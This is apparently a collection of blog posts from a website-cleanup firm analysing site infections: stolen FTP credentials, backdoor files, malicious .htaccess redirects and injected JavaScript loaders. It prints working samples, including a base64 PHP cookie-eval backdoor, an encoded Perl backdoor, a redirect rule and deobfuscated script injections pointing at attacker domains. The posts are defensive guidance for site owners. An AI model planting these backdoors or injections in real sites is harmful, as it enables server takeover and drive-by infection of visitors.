By

BlackOS helps website hackers automate their “business”

Trend Micro has released a report which gives some details about the automation of website hacking. Their report: http://blog.trendmicro.com/trendlabs-security-intelligence/new-blackos-software-package-sold-in-underground-forums/ set us off on a search for more information.

We found that this software allows hackers to manage large lists of stolen FTP credentials. The hackers can easily inject custom iframe code into compromised websites. The code can be modified to redirect visitors depending on their operating system (Mac, Windows, etc.), browser (Safari, FireFox, Internet Explorer, Chrome, etc.) and even different versions of those operating systems and browsers.

They can even customize their code to redirect based on the referrer (Google, Yahoo, Bing…) and country of origin.

When you see how the hackers talk about easily finding 10,000 websites, it becomes very alarming. One clip we found is this:

Approximately 15-20% have access to FTP SSH, you can also check behind mail + pass on base have access to FTP or SSH. – all accounts reviewed by our SSH server exploits to get root. With 10k SSH accounts you can get in the area of 500 root access to the servers!

What it appears they’re saying is that 15-20% of FTP accounts are also the credentials for SSH. If so, the hackers can gain “root” access via SSH.

Out of 10K accounts you can get about 500 with server root access! Simple backdoor is installed for all ‘root’s to elevate the rights for consequent access.

If you’re on a VPS or dedicated server, this type of access typically means complete server rebuild or reload. When they have root access it’s game over. They won.

Why do we bring this to your attention?

You have to constantly think about all the possible ways hackers have of getting into your server – always.

Frequently we see many FTP accounts created for the various websites on a VPS or dedicated server. If you’re going to host multiple websites on your server, please create a separate cPanel account for each site. That creates a separation between your sites.

By

FTP Password Stealing Malware

For years now, I’ve been writing about how often websites are infected by hackers stealing their CMS (WordPress, Joomla, etc.), FTP or hosting account login credentials.

I know that some of our competitors roll their eyes whenever we help someone in a forum seeking help with an infected website and we determine that their site was compromised due to stolen login credentials. However, our experience shows this to be a widely used method by today’s cybercriminals.

Here is a link to an article about how this malware works: http://vinsula.com/hunting-down-ftp-password-stealer-malware-with-vinsula-execution-engine/

In the article you’ll see how this malware works. It seeks certain files on your local computer and sends them to the hackers CnC server (Command ‘n Control server). You’ll see in that article that it also seeks out certain anti-virus programs and either disables them or reconfigures them.

One other interesting point of this article is how they obtained the malware – via an infected email. You have to be suspicious of all emails. We constantly see one that looks like it’s from LinkedIn, but if you hover over the link to see their profile before accepting their invitation to connect, you’ll see it does not go to www.linkedin.com. This is a very cleverly crafted email designed to infect the unsuspecting recipient.

Please share this others. The more knowledge shared about how hackers (cybercriminals) work the better and safer we’ll all be. Have any incidents like this to share? Let me know…

Thank you for reading.

By

Attack of the default.php files

We’ve been seeing many infected websites that have numerous default.php files “sprinkled” throughout the site.

These files are being used by hackers to infect other websites.

The code inside the default.php files usually starts with:

eval (gzinflate ( base64_decode ("...

The file will usually be either 2,858 or 2,556 in size.

These files are uploaded to the website via FTP.

How do hackers upload files to your site with FTP?

They have stolen your password!

If you have access to your FTP log files, you will see some entries like this:

Sun Jan 13 21:41:48 2013 0 XX.XX.XX.XX 2848 /home/(name of your account)/public_html/default.php b _ i r ftpaccount ftp 1 * c

The ftpaccount shown in the log entry will be the one that has been used by the hackers to upload the default.php files to your site. Whoever is using that account legitimately could be the using the computer with a virus on it that has stolen the passwords.

The default.php files are also used to upload malicious .htaccess files. Those files will have something like this:

RewriteEngine On

RewriteBase /

RewriteCond %{HTTP_REFERER} ^http: //[w.]*([^/]+)

RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]

RewriteRule ^.*$ http: //le-guide-thalasso-sainte-maxime. com/wapn.html?h=1415319 [L,R]

We’ve seen various domains inserted into that last line but the format is basically the same: URL/randomname.html?h=(some numbers)

First thing is to change all your passwords: hosting account, FTP, website (WordPress, Joomla or other…). Then DO NOT log back in again until you have scanned all your computers – yes even Macs.

Next, reviewing the log files will show you where on your site the files were uploaded and then you can delete those files. Check your .htaccess files for any code similar to the above. If there was already a .htaccess file in that folder, they have added their malicious redirects. The above lines can simply be removed from your file.

If there wasn’t already a .htaccess file there then the hackers have added one and it can just be deleted.

Again, please run daily virus scans on all computers – daily. When your anti-virus program updates, it typically doesn’t run a full scan. So any updates you received today on your anti-virus program will not detect anything already on your system until you run a full scan. The updates will only protect your computer from the new infections.

With this infection there are typically additional backdoor shell scripts added to the site as well. Those have generally been something using the base64_decode string so you can search your files for that and then further analyze the file to determine if it’s malicious or not.

If you need help cleaning this up, please send me an email at: traef@wewatchyourwebsite.com

Thank you.

If you found this useful, please share it.

By

Proper use and configuration of timthumb.php

With many themes using the timthumb.php and thumb.php files, we thought we should update our readers with the latest on timthumb.php.

First, make certain you have the latest:
http://timthumb.googlecode.com/svn/trunk/timthumb.php

As of this post, the current version is 2.8.9.

Open that file and inside you’ll this line to verify you have the correct version:

define (‘VERSION’, ‘2.8.9’);

Scroll down a few lines and you’ll:

if(! defined(‘ALLOW_EXTERNAL’) ) define (‘ALLOW_EXTERNAL’, TRUE); // Allow image fetching from external websites. Will check against ALLOWED_SITES if ALLOW_ALL_EXTERNAL_SITES is false

This means that if the ALLOW_EXTERNAL parameter is set to TRUE, like it is here, and the parameter ALL_ALL_EXTERNAL_SITES is false, then timthumb.php will check the included link to see if it’s in the list of ALLOW_SITES.

If you at the next line down in this file you’ll see:

if(! defined(‘ALLOW_ALL_EXTERNAL_SITES’) ) define (‘ALLOW_ALL_EXTERNAL_SITES’, false); // Less secure

With these 2 parameters set the way they are, timthumb.php will only show files from the list of ALLOWED_SITES. Next we need to examine the sites listed in ALLOWED_SITES.

Scroll down a few more lines and you’ll see:

// If ALLOW_EXTERNAL is true and ALLOW_ALL_EXTERNAL_SITES is false, then external images will only be fetched from these domains and their subdomains.
if(! isset($ALLOWED_SITES)){
$ALLOWED_SITES = array (
'flickr.com',
'staticflickr.com',
'picasa.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
'imgur.com',
'imageshack.us',
'tinypic.com',
'yourdomainhere',
);
}

Now in the line where we have: ‘yourdomainhere’ you would replace that with your website domain. For us, it would be ‘wewatchyourwebsite.com’. A few things to note here. If you don’t ever expect to load images from the other sites, then delete them as well while you’re in here.

What we’ve done is to allow timthumb.php to show files that are stored on your website and the locations above that. Any other domain will not be accepted and will not show. If you don’t do this, then hackers could include files from their websites and infect your website with their malicious code.

This version of timthumb.php does use a non-web folder for cache, so it is more secure, but configuring it this way adds another layer of protection to your site, and we do believe in defense in layers.

If you have questions about this information or you’re having trouble configuring it properly for your site, please post a comment and we’ll help you.

Thank you for reading.

By

toobarcom, mybar, adsnet infections

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.

What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.

In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.

We’ve seen two variations of the malicious code:

The first one starts with:

var st1 = ;this.b=this.M="";this.A="";this.w=false;""...

and ends with:

var gr0=0;

The second starts with:
var st1 = 0;document. write( unescape('%3C%73...

and ends with:

gr0=0;

We’ll examine each one here to let you know what they’re doing.

The first one deobfuscates to this:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
"lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.",
"rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+
escape("holycookie")+";expires="+dt.toGMTString()+";path=/";

document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

When looking at this code, you’ll see that is uses a variety of user-agent strings:

  • yahoo
  • search
  • msnbot
  • yandex
  • googlebot
  • bing
  • ask

Then creates an array of domains:

  • myads.name
  • adsnet.biz
  • toolbarcom.org
  • mybar.us
  • freead.name

and then creates an array of prefixes:

  • axe.
  • box.
  • cox.
  • dex.
  • fax.
  • fix.
  • fox.
  • gox.
  • hex.
  • kex.
  • lax.
  • lex.
  • lox.
  • lux.
  • max.
  • mix.
  • nix.
  • oxo.
  • oxy.
  • pax.
  • pix.
  • pox.
  • pyx.
  • rax.
  • rex.
  • sax.
  • sex.
  • six.
  • sox.
  • tax.
  • tux.
  • vex.
  • vox.
  • wax.
  • xis.
  • zax.

When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.

The final part of the code puts it all together and adds a little more to the URL:

document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.

So a typical string after this first code is decoded might look like:

(script tag) type="text/javascript" src="hxxp: //mix.freead.name/system/caption.js">
(script tag)

The second obfuscated string from above, uses the same basic methodology but uses these domains:

  • edisonsnightclub.com
  • gaindirectory.org
  • ideacoreportal.com
  • karenegren.com

and appends one of these strings to the front:

  • aqua.
  • azure.
  • black.
  • blue.
  • brown.
  • chocolate.
  • coral.
  • cyan.
  • darkred.
  • fuchsia.
  • gold.
  • gray.
  • green.
  • indigo.
  • ivory.
  • khaki.
  • lime.
  • magenta.
  • maroon.
  • navy.
  • olive.
  • orange.
  • pink.
  • plum.
  • purple.
  • red.
  • silver.
  • snow.
  • violet.
  • white.
  • yellow.

This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.

If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.

We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.

We’re also going to post about the backdoors we’ve found and you can search your site for them as well.

Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (http://www.google.com/safebrowsing/diagnostic?site=), and you’d like us to clean it for you, please send me an email at traef@wewatchyourwebsite.com

Thank you.

By

Attack of mailcheck.php and chat.pl

This attack isn’t anything new, it was used on a number of Italian sites in March 2010, but we’ve been seeing more of it infecting websites recently so I thought I’d elaborate.

Quite often when scanning or cleaning infected websites, when we see the mailcheck.php file, we also see the chat.pl file but that isn’t cast in stone. However, we have not seen chat.pl by itself. In other words, mailcheck.php can appear by itself, but chat.pl does not – at least from what we’ve seen.

The mailcheck.php files usually contains this code:

<?php eval(base64_decode(‘aWYoaXNzZXQoJF9DT09LSUVbIlBIUFNFU1NJSUQiXSkpe2V2YWwoYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsiUEhQU0VTU0lJRCJdKSk7ZXhpdDt9’));
echo “checking email…”;?>

 

 

Which deobfuscates to:

if(isset($COOKIE[“PHPSESSIID”])){eval(base64_decode($COOKIE[“PHPSESSIID”]));exit;}

The chat.pl file is programmed in Perl and looks like:

#!/usr/bin/perl
use MIME::Base64 ();eval MIME::Base64::decode("JGMgPSAkRU5WeyJIVFRQX0NPT0tJRSJ9O0BjID0gc3BsaXQgLzsvLCAkYztmb3JlYWNoICRhIChA\nYyl7JGEgPX4gbS9QSFBTRVNTSUlEPSguKikvO2lmIChsZW5ndGgoJDEpID4gMCkge2V2YWwgTUlN\nRTo6QmFzZTY0OjpkZWNvZGUoJDEpO2RpZSAiIjt9fQ==");
$P = "Lf'njItkk";
$WinNT = 0;
$NTCmdSep = "&";
$UnixCmdSep = ";";
$CommandTimeoutDuration = 120;
$ShowDynamicOutput = 1;

As you can see, this code also uses the base64 decoding even though in it’s written in Perl. Same strategy, different programming language.

With the infection of mailcheck.php and/or chat.pl, we’ve seen a number of .php and sometimes even .html files that have some PHP code inserted across the top of the file that looks like:

<?php ob_start(‘security_update’); function security_update($buffer){return $buffer.'<script language=”javascript”>function t()…

What’s interesting about this malscript is that it uses the ‘ob_start’ function to run it’s code. ob_start is used by many WordPress sites, software galleries and other software and plugins for a large variety of websites.

This clearly shows how clever the hackers are. They’re actually using valid functions found on many websites to run their malscripts. Also by “hiding” their malscript as something that uses the words “security_update” they hope that people will overlook their code and move on to other harmful looking code instead.

What can you do if you find this on your website?

Again, this type of attack is the result of a virus that steals the FTP passwords from a PC, sends them to as server which then modifies the files on the website and adds the mailcheck.php and or the chat.pl files so they can re-infect the website after the owner has cleaned the site and changed the FTP passwords.

I recommend using WS_FTP by Ipswitch because this program does not save the stored passwords in plain text. They are encrypted which means the hackers have to do more work in order to use them. It’s not that they aren’t “hackable”, it’s just that the hackers have so many other PCs and websites that are easily hacked that right now, they probably won’t spend the time or effort in cracking the encryption.

You can also check to see if your hosting provider allows you to use SFTP instead of FTP. SFTP is encrypted traffic so a hacker’s virus can’t easily sniff the traffic and see the plain text username and password.

If you have any comments about this information or have a specific instance of a similar infection, please post your comments below.

Thank you.

By

Hackers now "touch" all files

This is going to be a short post.

While working on cleaning a number of websites this past week, I’ve noticed something very different.

One of the steps we take when cleaning a website is to record the last modified date of a file with malscripts injected. This helps us identify other possible infected files. In fact our automated tools were (“were” being the key word) doing the same thing. When an infected file was found, our tool would record the date and time of the file and search all the other files with the same last modified time and scan those files first.

It’s amazing how predictable and how patterned this strategy worked.

That is until this past week.

Then we started seeing a process where the hackers (or cybercriminals, if you will) will “touch” every file.
(Note: In a Linux environment, there is a “touch” command that will create a file if it’s not already there or at least change the date and time of a file if it does exist. I’m certain there’s a way to do this in a Windows environment as well.)

This does make it more difficult to see what other files may have been affected (or infected) by the hacker’s automated program. Often times we look for the obvious pattern when trying to identify injected malscripts. We’ll just have to stick to our original strategy of checking for any changes made to files.

It’s amazing how effective monitoring change works. Once you have a known, clean copy of a website then monitor for any changes, you see everything. Soon we’ll be relaunching our service that includes full-scale, site wide change monitoring. Any changes detected will be further analyzed for potentially malicious behaviour. Any potentially malicious changes will be recorded and the website contact’s notified.

This is one sure way of knowing exactly where the malscript was injected and when. Then it’s an easy step to remove it or block it.

We’re also working on a new method of preventing websites from being hacked in the first place.
As always, check our main website for when we announce our relaunching.

Check out our new site: http://www.wewatchyourwebsite.com and let me know what you think.

Any comments?

By

The new Attack – d0lphin.biz

We recently came across a number of websites that have been injected with malscript iframes that load malware from d0lphin.biz. Following is our report on this attack.
 
Cybercriminals appear to be using their network of infected PCs to modify “hacked” websites and turning them into infectious websites – attempting to infect many more PCs.
  
This attack appears to only infect index pages; index.htm, index.html, index.php. That’s all we’ve seen thus far.
 

The malicious code that gets injected into these webpages is the following:

body of injected script

Which deobfuscates to:

deobfuscatedscript

The usual iframe malscript parameters: width=1, height=1 style=’visibility:hidden’
 

 What was interesting is that we had to use a valid browser user agent to obtain the in.php file. We used: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0) as our user-agent string. Other similar user-agents worked as well, but they had to be MSIE and Windows compatible so we knew it had to be a Microsoft specific exploit they (the hackers) were attempting on unsuspecting visitors.

You’ll see from the above iframe that the file it references is in.php. Here is the code for in.php:

 

in.php malscript (click to enlarge)

 

Which deobfuscates to:  

in.php deobfuscated

As you can see, there are 2 other files that this malscript tries to load:

load.php (which is actually a Windows executable)

and

pdf.php (which is an actual PDF file that uses ActionScript to try and infect the visitor’s PC).

 

At the time of our investigation, the malware load.php was only detectable by 2 out of 41 anti-virus companies. Here is the VirusTotal report on that little gem:

load.php VirusTotal Results

 

 

And pdf.php was detectable by 11 out of 41 anti-virus programs. Here is the Virus Total report on that file:

pdf.php VirusTotal Results

 

Inspecting the FTP log files for the infected website we found that the majority of the FTP traffic on the day the infected files were modified was from the following IP addresses:

89.36.84.249 which is Bucharest, Romania
98.209.145.133 which is Michigan, United States
74.211.69.79 which is New Mexico, United States
85.122.6.86 which is Bucharest, Romania
123.236.139.33 which is India
91.105.112.220 which is Great Britain, United Kingdom
96.20.117.224 which is Montreal, Canada
119.171.100.108 which is Tokyo, Japan
71.65.72.159 which is Ohio, United States
97.84.174.241 which is Michigan, United States
 

The interesting thing about this FTP traffic from various places around the world is that the exact same FTP username and password were used. There weren’t any failed login attempts with this username for the prior 6 months so we didn’t feel it was a brute force or dictionary attack on a weak password. This leads us to believe that this infection is another case of compromised FTP credentials.

Another interesting point is that the FTP traffic from these various IP addresses happened within minutes of each other and the number of files transferred from each IP address was 2. It appears from this information that the attackers were using a distributed network of compromised PCs (read botnet) to send the modified files to the website server.

This could be for a number of reasons.

But the one reason that seems most obvious is that the attackers know many people try to block their IP addresses. By using a botnet of remotely controlled PCs a website owner would have to block dynamic IP addresses. Would you block a range of IP addresses from a DSL connection in the United States? Probably not.

Having a website means handling traffic from visitors all over the world. If you’re going to start blocking groups of IP addresses, how will you know when you’re blocking innocent visitors? Wouldn’t that hurt your business?

The IP address that d0lpin.biz is hosted on show this for their whois:

 whois-d0lphin.biz

The whois on the domain d0lphin.bz is:

whois-domain-d0lphin.biz

Google’s report on the network hosting d0lphin.biz shows:

google-diags-network

FIRE’s maliciousnetworks.org shows this information for the network d0lphin.biz is hosted on:
 
FIRE-d0lphinNetwork
 
You see that their report shows 2 C&C Servers (Command and Control – the servers hackers use to control their botnets) and 2 exploit servers – both bad stuff.
 
Prevention of this type of attack on your website is simple. Keep your PCs clean of viruses. If want to be sure you’re PC is clean, don’t use an administrator account for your daily activities. If you can’t install software as your currently logged in user, neither can a virus.
 
What’s your thoughts on this new attack? Is there any further information you’d like to know? Let me know…

By

Another Round of Beladen? Or, The New "Go" Infection

On Wednesday July 22, 2009 we started seeing what looks to be a new round of beladen style website infections by cybercriminals.

The reason we think they’re beladen style is that they appear to infect all the websites on shared servers and they also seem to be remotely controlled with a “on as needed” mode.

This infection resulted in thousands more sites being tagged with Google’s “This site may harm your computer”.

According to Google Diagnostics for certain websites we were asked to help with, this is what was shown:

“Malicious software is hosted on 4 domain(s), including: ventsol.info/, ina6co.com/, goscansoon.com/.”

Other sites we were asked to help with were also showing these domains in their Google Diagnostics:

  • daobrains.info/
  • safetyshareonline.com/
  • goslimscan.com/
  • goscansome.com/
  • globalsecurityscans.com/

Our scanners were detecting suspicious obfuscated javascript on the sites we were helping with, but it appeared to only be setting cookies to expire the following day. The obfuscated javascript was this:

malscript-0-11

Which deobfuscated looks like:

sessionid=39128605A531; path=/; expires=Thu, 23 Jul 2009 18:42:32 GMT

We found similar code with various names for the “var” part (replacing oigmlob) above in the obfuscated code. Other names were:

  • dtxzidl
  • bmno
  • wcdg
  • tpet
  • stqfpbc
  • meuhgor

In addition, we also saw various combinations of the hexidecimal numbers to replace the actual letters. For instance, instead of pa\x74h=/\x3b ex\x70ir\x65s we found these as well:

  • p\x61th=/\x3b exp\x69r\x65s
  • p\x61\x74h=/\x3b \x65x\x70i\x72es
  • p\x61t\x68=/\x3b expi\x72e\x73

All of these deobfuscate to: path=/; expires

One common theme was the hosting providers. Wouldn’t you know that a day after we blog about how wrongly accused many hosting providers are for the gumblar, martuz and iframe infections that they actually become the target.

It appears that these recent infections are a server issue and not just a specific website on a shared server. How the server became infected is purely speculation. Could it have been from one set of compromised FTP credentials that was able to infect the server and then control other sites as well? Could it have been SQL injection for one site that then gave the attackers a method to start a process on the server thereby controlling all the websites on that server?

Who knows. At this point all we do know is that this does affect all the websites on infected servers.

How do we know that?

We created a program for situations like this. It grabs a list of all the websites for a specific IP address and starts checking them. On some IP addresses 91% of the websites were showing the obfuscated cookie code from above. Our thought is that since this is an “on again – off again” type of infection, the other 9% were dormant when our program scanned those sites.

Another interesting observation was that for a specific IP address, each website showed the exact same obfuscated code. While websites on different IP addresses had similar obfuscated code with the slight variations mentioned previously.

The first step in this “drive-by” infection was to set a cookie on the visitor’s PC. Then if that same visitor came back within the expiration period of the cookie (24 hours), this would be delivered to their browser:

malscript-1-1

Which essentially does a Meta tag redirect. The above deobfuscates to:

malscript-2-1

We did see some of the other domains mentioned earlier in place of safetyshareonline.com and the goscansoon.com.

The whole purpose of this attack is to infect the PCs of visitor’s to these websites. This is done with this bit of social engineering code:

malscript-3-1

This code uses some fake graphics (okay the graphics are real, but they’re not the “official” graphics of Microsoft) in an attempt to trick the visitor into believing they have a virus. The code starts by checking to see if the operating system on the visitor’s PC is Microsoft’s Vista. If it is, it displays “Vista” looking graphics. If not Vista, then it assumes Windows XP and shows different graphics.

No matter who you are or what operating system and browser you have, this code shows a window that looks like a “Windows Security Center” window and it informs you that:

 “Virus (I-Worm.Trojan.b) was found on your computer! Click OK to install System Security Antivirus.” If you select “OK” from their screen it will download their “antivirus”.

If you cancel, a new alert is displayed with this message:

 “Windows Security Center recommends you to install System Security Antivirus.”

If you cancel that, it will display again.

One more cancel gets you to this message:

“Your computer remains infected by viruses! They can cause data loss and file damages and need to be cured as soon as possible. Return to System Security and download it to secure your PC”

This is some very elaborate scheming by hackers and cybercriminals just to get visitors to download their “mother lode of infectious code”, but it will probably work on many people.

We decided to show the code here, although the code is inserted graphic files, so that if your website starts being tagged as suspicious by Google with some of the domains listed here, and you get the “This site may harm your computer” moniker, you can compare this code to some of the code you might see in your site and have a better understanding of what is going on.

What To Do

First you need to contact your hosting provider. Have them read this blog post so they can also better understand what’s going on.

Have them check at the server level for unusual processes running on the server. If you’d like, have them contact us and we can help them diagnose this further. We can show them the other websites on your server that are also infected with the exact same code.

At this point we still don’t know how the server gets infected. Be prudent and scan your PCs with a different anti-virus than what you’re currently using. Why? Because if you are infected and you have anti-virus already installed, then it’s obvious that the virus knows how to evade detection of your current security.

We’ve had good success with AVG, Avast or Avira. If you already have one of those installed, then use one of the others. You need to use something different. Scan and clean all PCs with FTP access to your site.

Then change FTP passwords on all of your accounts.

This will have to be done as soon as you start seeing these infections as it may take some time to fully investigate and remediate – so don’t be late (sorry, it’s been a long few days).

Post comments below if you’ve been infected by this or know someone who has.

Thank you.

Friday July 24, 2009 update: We worked with a couple different hosting providers who had servers infected with this and it appears the way these malscripts are injected into the the webpages is through a process on the server. The cybercriminals have cleverly named this process “crontab” however this process runs under the user name “nobody” typically the same user name that Apache (or httpd) runs as.

The file that executes this process is remotely deleted by the cybercriminals controlling it so it just runs in memory. Once the server is rebooted, the process disappears and doesn’t appear to return. The hosting providers also mentioned implementing suPHP as an aid to blocking this from happening again.

This is quite clever as how many times does a shared server really get rebooted? Probably not very often unless there’s a reason to shut-down numerous (hundreds?) websites all at once.

Keep posted, we’ll be adding more information as we get it.

By

The Blame Game

Major Malware Outbreaks Evade Anti-Virus Protection

A report released on July 14, 2009 states that “Several successive and massive malware outbreaks caused a spike in malware that was undetected by major AV engines.”

In Commtouch’s Q2 Report available here , which covers the analysis of over 2 billion emails and Internet transactions, they also claim:

  • “Business” was the website category most infected with malware
  • An average of 376,000 new zombies were activated each day with malicious intent

Amir Lev, Chief Technology Officer of Commtouch said that for the last 18 months anti-virus (AV) engines used many generic signatures, which were effective at blocking malware. However, malware writers and distributors introduced new variants which are immune to these generic signatures.

This time period coincides with the infection of 1,000s of websites with gumblar, martuz and iframe malscripts which then received Google’s moniker of “This site may harm your computer.”

The Blame Game

Answering many, many blog and forum postings from disgruntled website owners and developers who’ve been the victim of these recent gumblar, martuz and iframe infections, it’s been our experience that quite often the thought process of the victimized website owner follows this path:

  1. The website owner or webmaster receives an email from Google notifying them that their site is infectious. Google rarely (if ever) is wrong so they immediately slap all SERPs (Search Engine Result Pages) with the “This site may harm your computer” label thereby stopping all traffic dead in it’s tracks.
  2. Cautiously the site owner or webmaster will try to view the site. They don’t want to become infected from their own site, but their curiosity is overwhelming. They typically don’t see anything malicious.
  3. “How do I find and clean this?” Often these people will post questions on sites like Google’s Webmaster Forums or www.badwarebusters.org or some other favorite online watering hole.
  4. Then their focus turns to, “Who’s to Blame?”

The feeling of many site owners is one of “I’ve been violated and I need to blame someone.”

When hacking victims get to “Who’s to blame”, they quite often turn their attention to their hosting provider. Many times the blogs and forums are filled with postings where people blame even some of the largest hosting providers. Site owners want to instantly spend the time and money to move their website to a different hosting provider where they’ll once again feel safe and secure.

All because they feel it’s the hosting provider’s fault their site, or sites, were hacked.

The site owner or developer will call the hosting provider looking for assistance from their technical staff and quite frequently, they can’t find the obfuscated malscript buried deep inside some harmless HTML code either. Many times the website has been blocked by various anti-virus programs, Google’s search results and sometimes even corporate website filters for days or weeks before the issue is resolved.

Even if the site owner goes through the trouble of moving to a new hosting provider, with these recent infections, their site will just get hacked again and again.

Then who’s to blame? The new hosting provider? How many more hosting provider’s will the site owner move to until they finally find one that gives them that safe and secure feeling?

Many site owner’s want the hosting provider to take responsibility and clean their site. After all, they’re paying their $5 – $10 per month so the hosting provider should take responsibility and the spend the time to clean the infectious website, right? No matter how many times the site gets re-infected.

Don’t Shoot the Messenger

I hate to be the one to break it to you, but, hosting providers had nothing to do with websites getting hacked with the recent gumblar, martuz or iframe injections. It was anyone’s fault but theirs.

It could be the site owner’s fault, or the anti-virus company’s fault, or Microsoft’s fault, or the fault of the company that wrote the FTP software being used.

It was almost anyone’s fault – except that of the hosting provider.

Let me explain.

You see, with all the malware that went undetected by these generic signatures, thousands of PCs were compromised. According to the Commtouch report referenced above, 376,000 new zombies per day.

You could blame Microsoft, however, the Commtouch report also shows an increase in the amount of Mac malware as well. Besides, blaming Microsoft is so 2,000 late.

These recent website infections came from viruses on the PCs of people who have FTP access to websites.

OMG!

Does that mean it could be the fault of the website owners, developers and webmasters?

It might, rabbit, it might.

These recent undetectable viruses steal FTP credentials – usernames and passwords. These viruses search through the files of popular FTP software looking for the file with the stored FTP credentials. These viruses also record keystrokes so when an infected PC is used to type in the FTP credentials, they get stolen. As another point of attack the viruses also “sniff” FTP traffic. Since FTP transmits all data in plain text, it’s easy for a sniffer to see the username and password in the FTP data stream and steal it. We even did a video to show how easy it is to sniff FTP traffic. It’s so easy that some people use a sniffer on their own FTP traffic if they forgot their stored password. Here’s our video.

Virus writers are incredibly smart and this round of malware proves it.

Once the virus has the FTP credentials it sends them to the server of a cybercriminal. This server is configured to login to the website as a valid user, inject it’s infectious code and move on to the next site.

Who’s to Blame?

How many websites did you visit that displayed some type of ad? Did you know that many ad networks have served up infectious ads – unknowingly of course, but nonetheless, the ads could have infected many visitors.

How many websites did you visit that displayed Flash intro’s or allowed you to view an Adobe Acrobat file (pdf)? Adobe had a few vulnerabilities in their software, that were exploited during and prior to this time period. Combine a vulnerability in files so widely used with the ineffective generic anti-virus signatures, and there’s another source to blame. Maybe two new sources – the AV companies and Adobe.

Did you update your Adobe products as soon as the update was available?

If not, then there’s another person to blame – you.

Could the companies that wrote the FTP software used, maybe have encrypted the stored usernames and passwords so that it wasn’t quite so easy to find and steal the FTP credentials? There’s anothe source to blame.

Maybe if so many people didn’t use their PCs with full administrator rights, there wouldn’t be such a virus outbreak in the first place. Maybe these PC owners are to blame.

Whoever you decide to blame, don’t incur the costs involved with moving to a new hosting provider before you find out what your site was infected with and how those infections occurred. You might be barking up the wrong tree.

I’ll tell you, the cybercriminals are to blame.

They’re the people who write and distribute viruses, malware and malscripts.

Cybercriminals (some call them hackers) want to control as many computers as they possibly can. They don’t care if it’s a computer for a university or if it’s the computer of a new Internet start-up company. One compromised computer looks just the same as another.

Compromised computers make up their inventory.

You know what a hacker calls an uninfected computer – opportunity!

Their digital assets are the computers they control. Often times some of their inventory of infected computers gets rented out to other cybercriminals. This provides them with a source of income.

If you really need to blame someone, blame the hackers, or the international cyber laws, or the world economy. Just don’t blame the hosting providers.

Hosting providers provide a very valuable service. Their margins are squeezed tighter and tighter as it seems everybody thinks it’s a great idea to enter the hosting industry. The good hosting providers work hard for their customers. They depend on customer retention and acquisition – just like every other business. They do the best they can with what they have.

The only thing a hosting provider could do to prevent these gumblar, martuz and iframe infections is to block all FTP traffic. Then you would have a very good reason to blame them for something, but you still wouldn’t be able to justify blaming them for the rash of website infections.

It simply isn’t their fault.

Let me know your thoughts on this. Who would you blame if your site got hacked? Who did you blame if your site was already hacked?